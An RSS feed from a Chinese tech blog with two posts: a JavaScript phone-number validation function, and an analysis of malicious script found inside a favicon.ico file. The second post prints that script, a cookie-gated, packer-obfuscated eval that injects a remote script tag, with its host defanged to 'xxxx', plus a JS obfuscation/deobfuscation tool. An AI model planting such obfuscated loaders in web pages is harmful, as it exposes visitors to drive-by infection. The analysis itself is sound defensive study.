<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>白舟空间 &#187; js</title>
	<atom:link href="http://www.baizoo.cn/tag/js/feed" rel="self" type="application/rss+xml" />
	<link>http://www.baizoo.cn</link>
	<description>乘风破浪会有时</description>
	<lastBuildDate>Wed, 01 Sep 2010 06:47:03 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>使用JS来验证手机和电话号码的函数</title>
		<link>http://www.baizoo.cn/archives/1072.html</link>
		<comments>http://www.baizoo.cn/archives/1072.html#comments</comments>
		<pubDate>Wed, 01 Sep 2010 06:47:03 +0000</pubDate>
		<dc:creator>baizoo</dc:creator>
				<category><![CDATA[技术爱好]]></category>
		<category><![CDATA[js]]></category>

		<guid isPermaLink="false">http://www.baizoo.cn/?p=1072</guid>
		<description><![CDATA[使用JS来验证手机和电话号码的函数 说明 test方法检查在字符串中是否存在一个模式，如果存在则返回 true，否则就返回 false。 正则表达式部分： \d 代表一个数字 {7,8} 代表7－8位数字（表示电话号码） {3,} 代表分机号码 d{2,3} 代表区号 \+]\d{2,3} 代表国际区号 ^13\d{5,9}$/ //130–139。至少5位，最多9位 /^153\d{4,8}$/ //联通153。至少4位，最多8位 /^159\d{4,8}$/ //移动159。至少4位，最多8位 function Checkreg() { //验证电话号码手机号码，包含153，159号段 if (document.form.phone.value==&#8221;" &#38;&#38; document.form.UserMobile.value==&#8221;"){ alert(&#8220;电话号码和手机号码至少选填一个阿！&#8221;); document.form.phone.focus(); return false; } if (document.form.phone.value != &#8220;&#8221;){ var phone=document.form.phone.value; var p1 = /^(([0\+]\d{2,3}-)?(0\d{2,3})-)?(\d{7,8})(-(\d{3,}))?$/; var me = false; if (p1.test(phone))me=true; if (!me){ document.form.phone.value=&#8221;; alert(&#8216;对不起，您输入的电话号码有错误。区号和电话号码之间请用-分割&#8217;); [...]]]></description>
			<content:encoded><![CDATA[<p>使用JS来验证手机和电话号码的函数</p>
<p>说明<br />
test方法检查在字符串中是否存在一个模式，如果存在则返回 true，否则就返回 false。</p>
<p>正则表达式部分：<br />
\d 代表一个数字<br />
{7,8} 代表7－8位数字（表示电话号码）<br />
{3,} 代表分机号码<br />
d{2,3} 代表区号<br />
\+]\d{2,3} 代表国际区号<br />
^13\d{5,9}$/ //130–139。至少5位，最多9位<br />
/^153\d{4,8}$/ //联通153。至少4位，最多8位<br />
/^159\d{4,8}$/ //移动159。至少4位，最多8位</p>
<p><span id="more-1072"></span><br />
function Checkreg()<br />
{<br />
//验证电话号码手机号码，包含153，159号段<br />
if (document.form.phone.value==&#8221;" &amp;&amp; document.form.UserMobile.value==&#8221;"){<br />
alert(&#8220;电话号码和手机号码至少选填一个阿！&#8221;);<br />
document.form.phone.focus();<br />
return false;<br />
}<br />
if (document.form.phone.value != &#8220;&#8221;){<br />
var phone=document.form.phone.value;<br />
var p1 = /^(([0\+]\d{2,3}-)?(0\d{2,3})-)?(\d{7,8})(-(\d{3,}))?$/;<br />
var me = false;<br />
if (p1.test(phone))me=true;<br />
if (!me){<br />
document.form.phone.value=&#8221;;<br />
alert(&#8216;对不起，您输入的电话号码有错误。区号和电话号码之间请用-分割&#8217;);<br />
document.form.phone.focus();<br />
return false;<br />
}<br />
}<br />
if (document.form.UserMobile.value != &#8220;&#8221;){<br />
var mobile=document.form.UserMobile.value;<br />
var reg0 = /^13\d{5,9}$/;<br />
var reg1 = /^153\d{4,8}$/;<br />
var reg2 = /^159\d{4,8}$/;<br />
var reg3 = /^0\d{10,11}$/;<br />
var my = false;<br />
if (reg0.test(mobile))my=true;<br />
if (reg1.test(mobile))my=true;<br />
if (reg2.test(mobile))my=true;<br />
if (reg3.test(mobile))my=true;<br />
if (!my){<br />
document.form.UserMobile.value=&#8221;;<br />
alert(&#8216;对不起，您输入的手机或小灵通号码有错误。&#8217;);<br />
document.form.UserMobile.focus();<br />
return false;<br />
}<br />
return true;<br />
}<br />
}</p>
]]></content:encoded>
			<wfw:commentRss>http://www.baizoo.cn/archives/1072.html/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>js混淆加密解密器</title>
		<link>http://www.baizoo.cn/archives/969.html</link>
		<comments>http://www.baizoo.cn/archives/969.html#comments</comments>
		<pubDate>Fri, 05 Mar 2010 03:58:06 +0000</pubDate>
		<dc:creator>baizoo</dc:creator>
				<category><![CDATA[技术爱好]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[代码]]></category>

		<guid isPermaLink="false">http://www.baizoo.cn/?p=969</guid>
		<description><![CDATA[今天上网的时候卡巴报了一个favicon.ico文件含病毒，我还是第一次发现favicon.ico可以挂马，于是下过来研究，这里分享一下研究过程。 下过来的favicon.ico文件中包含了一段js，代码如下： &#60;script language=&#34;javascript&#34; type=&#34;text/javascript&#34;&#62;if(document.cookie.indexOf('helio')==-1){var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='helio=Yes;path=/;expires='+expires.toGMTString()//设置cookies&#160;eval(function(p,a,c,k,e,d){e=function(c){return(c&#60;a?'':e(parseInt(c/a)))+((c=c%a)&#62;35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]&#124;&#124;e(c);k=[function(e){return&#160; &#160;d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new&#160; &#160;RegExp('\\b'+e(c)+'\\b','g'),k[c]);return&#160; &#160;p}('1.7(\'&#60;5 4=3 6=&#34;2://8.0&#34;&#62;&#60;/5&#62;\')',62,9,'com&#124;document&#124;http&#124;javascript&#124;language&#124;script&#124;src&#124;writeln&#124;xxxx'.split('&#124;'),0,{}))//js混淆后的iframe挂马(地址已被我修改)&#160;;}&#60;/script&#62; 注：js那段eval(&#8230;)的js代码可用js混淆加密解密器进行解密 js混淆加密解密器代码 &#60;script&#62;&#160; &#160;&#160; a=62;&#160; &#160;&#160;&#160; &#160;&#160; function&#160; &#160;encode()&#160; &#160;{&#160; &#160;&#160;&#160; &#160; &#160;var&#160; &#160;code&#160; &#160;=&#160; &#160;document.getElementById('code').value;&#160; &#160;&#160;&#160; &#160; &#160;code&#160; &#160;=&#160; &#160;code.replace(/[\r\n]+/g,&#160; &#160;'');&#160; &#160;&#160;&#160; &#160; &#160;code&#160; &#160;=&#160; &#160;code.replace(/'/g,&#160; &#160;&#34;\\'&#34;);&#160; &#160;&#160;&#160; &#160; &#160;var&#160; &#160;tmp&#160; &#160;=&#160; &#160;code.match(/\b(\w+)\b/g);&#160; &#160;&#160;&#160; &#160; &#160;tmp.sort();&#160; &#160;&#160;&#160; &#160; &#160;var&#160; &#160;dict&#160; &#160;=&#160; &#160;[];&#160; [...]]]></description>
			<content:encoded><![CDATA[<p>今天上网的时候卡巴报了一个favicon.ico文件含病毒，我还是第一次发现favicon.ico可以挂马，于是下过来研究，这里分享一下研究过程。</p>
<p>下过来的favicon.ico文件中包含了一段js，代码如下：</p>
<p><span id="more-969"></span><br />
<br/><br/><br/><br/><br/><br/><br/><br/><br/></p>
<div class="hl-surround"><div class="hl-main"><span style="color: Gray;">&lt;</span><span style="color: Blue;">script</span><span style="color: Gray;"> </span><span style="color: Blue;">language</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">javascript</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;"> </span><span style="color: Blue;">type</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">text/javascript</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">&gt;<br /></span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Teal;">document</span><span style="color: Gray;">.</span><span style="color: Blue;">cookie</span><span style="color: Gray;">.</span><span style="color: Blue;">indexOf</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">helio</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">==-</span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;"><br /></span><span style="color: Olive;">{</span><span style="color: Gray;"><br /></span><span style="color: Green;">var</span><span style="color: Gray;"> </span><span style="color: Blue;">expires</span><span style="color: Gray;">=</span><span style="color: Green;">new</span><span style="color: Gray;"> </span><span style="color: Teal;">Date</span><span style="color: Olive;">()</span><span style="color: Gray;">;</span><span style="color: Blue;">expires</span><span style="color: Gray;">.</span><span style="color: Blue;">setTime</span><span style="color: Olive;">(</span><span style="color: Blue;">expires</span><span style="color: Gray;">.</span><span style="color: Blue;">getTime</span><span style="color: Olive;">()</span><span style="color: Gray;">+</span><span style="color: Maroon;">24</span><span style="color: Gray;">*</span><span style="color: Maroon;">60</span><span style="color: Gray;">*</span><span style="color: Maroon;">60</span><span style="color: Gray;">*</span><span style="color: Maroon;">1000</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span><span style="color: Teal;">document</span><span style="color: Gray;">.</span><span style="color: Blue;">cookie</span><span style="color: Gray;">=</span><span style="color: #8b0000;">'</span><span style="color: Red;">helio=Yes;path=/;expires=</span><span style="color: #8b0000;">'</span><span style="color: Gray;">+</span><span style="color: Blue;">expires</span><span style="color: Gray;">.</span><span style="color: Blue;">toGMTString</span><span style="color: Olive;">()</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//设置cookies</span><span style="color: Gray;"><br />&nbsp;<br /></span><span style="color: Blue;">eval</span><span style="color: Olive;">(</span><span style="color: Green;">function</span><span style="color: Olive;">(</span><span style="color: Blue;">p</span><span style="color: Gray;">,</span><span style="color: Blue;">a</span><span style="color: Gray;">,</span><span style="color: Blue;">c</span><span style="color: Gray;">,</span><span style="color: Blue;">k</span><span style="color: Gray;">,</span><span style="color: Blue;">e</span><span style="color: Gray;">,</span><span style="color: Blue;">d</span><span style="color: Olive;">){</span><span style="color: Blue;">e</span><span style="color: Gray;">=</span><span style="color: Green;">function</span><span style="color: Olive;">(</span><span style="color: Blue;">c</span><span style="color: Olive;">){</span><span style="color: Green;">return</span><span style="color: Olive;">(</span><span style="color: Blue;">c</span><span style="color: Gray;">&lt;</span><span style="color: Blue;">a</span><span style="color: Gray;">?</span><span style="color: #8b0000;">''</span><span style="color: Gray;">:</span><span style="color: Blue;">e</span><span style="color: Olive;">(</span><span style="color: Blue;">parseInt</span><span style="color: Olive;">(</span><span style="color: Blue;">c</span><span style="color: #8b0000;">/</span><span style="color: Red;">a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(</span><span style="color: #8b0000;">/</span><span style="color: Gray;">^</span><span style="color: #8b0000;">/</span><span style="color: Red;">,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return&nbsp; &nbsp;d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new&nbsp; &nbsp;RegExp('\\b'+e(c)+'\\b','g'),k[c]);return&nbsp; &nbsp;p}('1.7(\'&lt;5 4=3 6=&quot;2:</span><span style="color: #8b0000;">//</span><span style="color: Red;">8.0&quot;&gt;&lt;</span><span style="color: #8b0000;">/</span><span style="color: Maroon;">5</span><span style="color: Gray;">&gt;\</span><span style="color: #8b0000;">'</span><span style="color: Red;">)</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: Maroon;">62</span><span style="color: Gray;">,</span><span style="color: Maroon;">9</span><span style="color: Gray;">,</span><span style="color: #8b0000;">'</span><span style="color: Red;">com|document|http|javascript|language|script|src|writeln|xxxx</span><span style="color: #8b0000;">'</span><span style="color: Gray;">.</span><span style="color: Blue;">split</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">|</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">,</span><span style="color: Maroon;">0</span><span style="color: Gray;">,</span><span style="color: Olive;">{}))</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//js混淆后的iframe挂马(地址已被我修改)</span><span style="color: Gray;"><br />&nbsp;<br />;}<br />&lt;</span><span style="color: #8b0000;">/</span><span style="color: Red;">script&gt;</span></div></div>
<p>注：js那段eval(&#8230;)的js代码可用<a href="http://www.baizoo.cn/tools/js-code.html" target=_blank>js混淆加密解密器</a>进行解密</p>
<p>js混淆加密解密器代码</p>
<div class="hl-surround"><div class="hl-main"><span style="color: Gray;">&lt;</span><span style="color: Blue;">script</span><span style="color: Gray;">&gt;&nbsp; &nbsp;<br />&nbsp; </span><span style="color: Blue;">a</span><span style="color: Gray;">=</span><span style="color: Maroon;">62</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;<br />&nbsp; </span><span style="color: Green;">function</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Blue;">encode</span><span style="color: Olive;">()</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;">&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Green;">var</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Blue;">code</span><span style="color: Gray;">&nbsp; &nbsp;=&nbsp; &nbsp;</span><span style="color: Teal;">document</span><span style="color: Gray;">.</span><span style="color: Blue;">getElementById</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">code</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">.</span><span style="color: Blue;">value</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">code</span><span style="color: Gray;">&nbsp; &nbsp;=&nbsp; &nbsp;</span><span style="color: Blue;">code</span><span style="color: Gray;">.</span><span style="color: Blue;">replace</span><span style="color: Olive;">(</span><span style="color: #8b0000;">/</span><span style="color: Red;">[\r\n]+</span><span style="color: #8b0000;">/g</span><span style="color: Gray;">,&nbsp; &nbsp;</span><span style="color: #8b0000;">''</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">code</span><span style="color: Gray;">&nbsp; &nbsp;=&nbsp; &nbsp;</span><span style="color: Blue;">code</span><span style="color: Gray;">.</span><span style="color: Blue;">replace</span><span style="color: Olive;">(</span><span style="color: #8b0000;">/</span><span style="color: Red;">'</span><span style="color: #8b0000;">/g</span><span style="color: Gray;">,&nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Navy;">\\</span><span style="color: Red;">'</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Green;">var</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Blue;">tmp</span><span style="color: Gray;">&nbsp; &nbsp;=&nbsp; &nbsp;</span><span style="color: Blue;">code</span><span style="color: Gray;">.</span><span style="color: Blue;">match</span><span style="color: Olive;">(</span><span style="color: #8b0000;">/</span><span style="color: Red;">\b(\w+)\b</span><span style="color: #8b0000;">/g</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">tmp</span><span style="color: Gray;">.</span><span style="color: Blue;">sort</span><span style="color: Olive;">()</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Green;">var</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Blue;">dict</span><span style="color: Gray;">&nbsp; &nbsp;=&nbsp; &nbsp;</span><span style="color: Olive;">[]</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Green;">var</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Blue;">i</span><span style="color: Gray;">,&nbsp; &nbsp;</span><span style="color: Blue;">t</span><span style="color: Gray;">&nbsp; &nbsp;=&nbsp; &nbsp;</span><span style="color: #8b0000;">''</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Green;">for</span><span style="color: Olive;">(</span><span style="color: Green;">var</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Blue;">i</span><span style="color: Gray;">=</span><span style="color: Maroon;">0</span><span style="color: Gray;">;&nbsp; &nbsp;</span><span style="color: Blue;">i</span><span style="color: Gray;">&lt;</span><span style="color: Blue;">tmp</span><span style="color: Gray;">.</span><span style="color: Blue;">length</span><span style="color: Gray;">;&nbsp; &nbsp;</span><span style="color: Blue;">i</span><span style="color: Gray;">++</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;">&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Blue;">tmp</span><span style="color: Olive;">[</span><span style="color: Blue;">i</span><span style="color: Olive;">]</span><span style="color: Gray;">&nbsp; &nbsp;!=&nbsp; &nbsp;</span><span style="color: Blue;">t</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Blue;">dict</span><span style="color: Gray;">.</span><span style="color: Blue;">push</span><span style="color: Olive;">(</span><span style="color: Blue;">t</span><span style="color: Gray;">&nbsp; &nbsp;=&nbsp; &nbsp;</span><span style="color: Blue;">tmp</span><span style="color: Olive;">[</span><span style="color: Blue;">i</span><span style="color: Olive;">])</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;">&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Green;">var</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Blue;">len</span><span style="color: Gray;">&nbsp; &nbsp;=&nbsp; &nbsp;</span><span style="color: Blue;">dict</span><span style="color: Gray;">.</span><span style="color: Blue;">length</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Green;">var</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Blue;">ch</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Green;">for</span><span style="color: Olive;">(</span><span style="color: Blue;">i</span><span style="color: Gray;">=</span><span style="color: Maroon;">0</span><span style="color: Gray;">;&nbsp; &nbsp;</span><span style="color: Blue;">i</span><span style="color: Gray;">&lt;</span><span style="color: Blue;">len</span><span style="color: Gray;">;&nbsp; &nbsp;</span><span style="color: Blue;">i</span><span style="color: Gray;">++</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;">&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">ch</span><span style="color: Gray;">&nbsp; &nbsp;=&nbsp; &nbsp;</span><span style="color: Blue;">num</span><span style="color: Olive;">(</span><span style="color: Blue;">i</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">code</span><span style="color: Gray;">&nbsp; &nbsp;=&nbsp; &nbsp;</span><span style="color: Blue;">code</span><span style="color: Gray;">.</span><span style="color: Blue;">replace</span><span style="color: Olive;">(</span><span style="color: Green;">new</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Teal;">RegExp</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Navy;">\\</span><span style="color: Red;">b</span><span style="color: #8b0000;">'</span><span style="color: Gray;">+</span><span style="color: Blue;">dict</span><span style="color: Olive;">[</span><span style="color: Blue;">i</span><span style="color: Olive;">]</span><span style="color: Gray;">+</span><span style="color: #8b0000;">'</span><span style="color: Navy;">\\</span><span style="color: Red;">b</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: #8b0000;">'</span><span style="color: Red;">g</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">,&nbsp; &nbsp;</span><span style="color: Blue;">ch</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Blue;">ch</span><span style="color: Gray;">&nbsp; &nbsp;==&nbsp; &nbsp;</span><span style="color: Blue;">dict</span><span style="color: Olive;">[</span><span style="color: Blue;">i</span><span style="color: Olive;">])</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Blue;">dict</span><span style="color: Olive;">[</span><span style="color: Blue;">i</span><span style="color: Olive;">]</span><span style="color: Gray;">&nbsp; &nbsp;=&nbsp; &nbsp;</span><span style="color: #8b0000;">''</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;">&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Teal;">document</span><span style="color: Gray;">.</span><span style="color: Blue;">getElementById</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">code</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">.</span><span style="color: Blue;">value</span><span style="color: Gray;">&nbsp; &nbsp;=&nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?'':e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return&nbsp; &nbsp;d[e]}];e=function(){return'</span><span style="color: Navy;">\\\\</span><span style="color: Red;">w+'};c=1};while(c--)if(k[c])p=p.replace(new&nbsp; &nbsp;RegExp('</span><span style="color: Navy;">\\\\</span><span style="color: Red;">b'+e(c)+'</span><span style="color: Navy;">\\\\</span><span style="color: Red;">b','g'),k[c]);return&nbsp; &nbsp;p}(</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;+&nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">'</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">+</span><span style="color: Blue;">code</span><span style="color: Gray;">+</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">',</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">+</span><span style="color: Blue;">a</span><span style="color: Gray;">+</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">,</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">+</span><span style="color: Blue;">len</span><span style="color: Gray;">+</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">,'</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">+&nbsp; &nbsp;</span><span style="color: Blue;">dict</span><span style="color: Gray;">.</span><span style="color: Blue;">join</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">|</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">+</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">'.split('|'),0,{}))</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp; </span><span style="color: Olive;">}</span><span style="color: Gray;">&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;<br />&nbsp; </span><span style="color: Green;">function</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Blue;">num</span><span style="color: Olive;">(</span><span style="color: Blue;">c</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;">&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Olive;">(</span><span style="color: Blue;">c</span><span style="color: Gray;">&lt;</span><span style="color: Blue;">a</span><span style="color: Gray;">?</span><span style="color: #8b0000;">''</span><span style="color: Gray;">:</span><span style="color: Blue;">num</span><span style="color: Olive;">(</span><span style="color: Blue;">parseInt</span><span style="color: Olive;">(</span><span style="color: Blue;">c</span><span style="color: #8b0000;">/</span><span style="color: Red;">a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36));&nbsp; &nbsp;<br />&nbsp; }&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;<br />&nbsp; function&nbsp; &nbsp;run()&nbsp; &nbsp;{&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;eval(document.getElementById('code').value);&nbsp; &nbsp;<br />&nbsp; }&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;<br />&nbsp; function&nbsp; &nbsp;decode()&nbsp; &nbsp;{&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;var&nbsp; &nbsp;code&nbsp; &nbsp;=&nbsp; &nbsp;document.getElementById('code').value;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;code&nbsp; &nbsp;=&nbsp; &nbsp;code.replace(</span><span style="color: #8b0000;">/</span><span style="color: Gray;">^</span><span style="color: Blue;">eval</span><span style="color: #8b0000;">/</span><span style="color: Red;">,&nbsp; &nbsp;'');&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;document.getElementById('code').value&nbsp; &nbsp;=&nbsp; &nbsp;eval(code);&nbsp; &nbsp;<br />&nbsp; }&nbsp; &nbsp;<br />&nbsp; &lt;</span><span style="color: #8b0000;">/</span><span style="color: Blue;">script</span><span style="color: Gray;">&gt;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;<br />&nbsp; &lt;</span><span style="color: Blue;">textarea</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Blue;">id</span><span style="color: Gray;">=</span><span style="color: Blue;">code</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Blue;">cols</span><span style="color: Gray;">=</span><span style="color: Maroon;">80</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Blue;">rows</span><span style="color: Gray;">=</span><span style="color: Maroon;">20</span><span style="color: Gray;">&gt;&nbsp; &nbsp;<br />&nbsp; </span><span style="color: Blue;">alert</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">123</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp; </span><span style="color: Blue;">a</span><span style="color: Gray;">=&nbsp; &nbsp;</span><span style="color: Maroon;">1</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp; </span><span style="color: Blue;">b</span><span style="color: Gray;">=</span><span style="color: Maroon;">2</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp; </span><span style="color: Blue;">alert</span><span style="color: Olive;">(</span><span style="color: Blue;">a</span><span style="color: Gray;">+</span><span style="color: Blue;">b</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp; &lt;</span><span style="color: #8b0000;">/</span><span style="color: Red;">textarea&gt;&lt;br&gt;&nbsp; &nbsp;<br />&nbsp; &lt;input&nbsp; &nbsp;type=button&nbsp; &nbsp;onclick=encode()&nbsp; &nbsp;value=编码&gt;&nbsp; &nbsp;<br />&nbsp; &lt;input&nbsp; &nbsp;type=button&nbsp; &nbsp;onclick=run()&nbsp; &nbsp;value=执行&gt;&nbsp; &nbsp;<br />&nbsp; &lt;input&nbsp; &nbsp;type=button&nbsp; &nbsp;onclick=decode()&nbsp; &nbsp;value=解码&gt;</span></div></div>
]]></content:encoded>
			<wfw:commentRss>http://www.baizoo.cn/archives/969.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
